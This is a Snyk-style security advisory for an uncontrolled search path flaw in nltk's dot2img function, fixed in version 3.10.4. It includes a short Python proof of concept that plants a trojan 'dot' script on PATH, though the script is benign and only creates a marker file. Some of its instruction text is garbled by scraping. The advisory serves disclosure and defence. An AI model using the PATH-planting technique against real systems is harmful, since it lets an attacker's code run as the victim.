Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade nltk to version 3.10.4 or higher.
nltk is a Natural Language Toolkit (NLTK) is a Python package for natural language processing.
Affected versions of this package are vulnerable to Uncontrolled Search Path Element via nltk.parse.dependencygraph.dot2img, which resolves the Graphviz dot executable by bare name using find_binary (applying only a current-working-directory guard) and then executes the resolved absolute path with a raw subprocess.run call. Unlike the hardened sibling in nltk/translate/api.py, dot2img never routes execution through nltk.pathsec.spawn_trusted, so the ownership/writability check (resolve_trusted_executable) and the loader-environment scrub (safe_env) are never applied. A local, unprivileged attacker who can write to any group/world-writable directory on the victim's PATH can plant a trojan dot binary there; when the victim renders a DependencyGraph (including via the auto-invoked _repr_svg_ in a Jupyter notebook) or calls dot2img directly, the trojan executes as the victim with the full inherited environment, including loader-injection variables such as LD_PRELOAD and DYLD_*.
Requires: POSIX host, an importable NLTK build from the affected tree, and Python 3. No third-party dependencies.
dot script into it that drops a marker and emits fake SVG.PATH and run from a neutral working directory (so this is not the current-working-directory vector).resolve_trusted_executable refuses the planted binary (so the hardened path would raise) while dot2img executes it.import os, stat, tempfile, subprocess, sys
d = tempfile.mkdtemp()
dot = os.path.join(d, "dot")
with open(dot, "w") as f:
f.write("#!/bin/sh\ntouch " + os.path.join(d, "MARKER") + "\necho '<svg><!-- planted dot ran --></svg>'\n")
os.chmod(dot, 0o777)
os.chmod(d, 0o777)
os.environ["PATH"] = d + os.pathsep + os.environ["PATH"]
os.chdir("/")
from nltk.pathsec import resolve_trusted_executable
from nltk.parse.dependencygraph import dot2img
print("resolve_trusted_executable(planted dot):", resolve_trusted_executable(os.path.join(d, "dot")))
out = dot2img("digraph G { a -> b }")
print("dot2img stdout:", repr(out))
print("planted dot executed (marker created):", os.path.exists(os.path.join(d, "MARKER")))
resolve_trusted_executable(planted dot): None
dot2img stdout: '<svg><!-- planted dot ran --></svg>\n'
planted dot executed (marker created): True
Note: Requires a POSIX host, an importable NLTK build from the affected tree, and Python 3, with no third-party dependencies.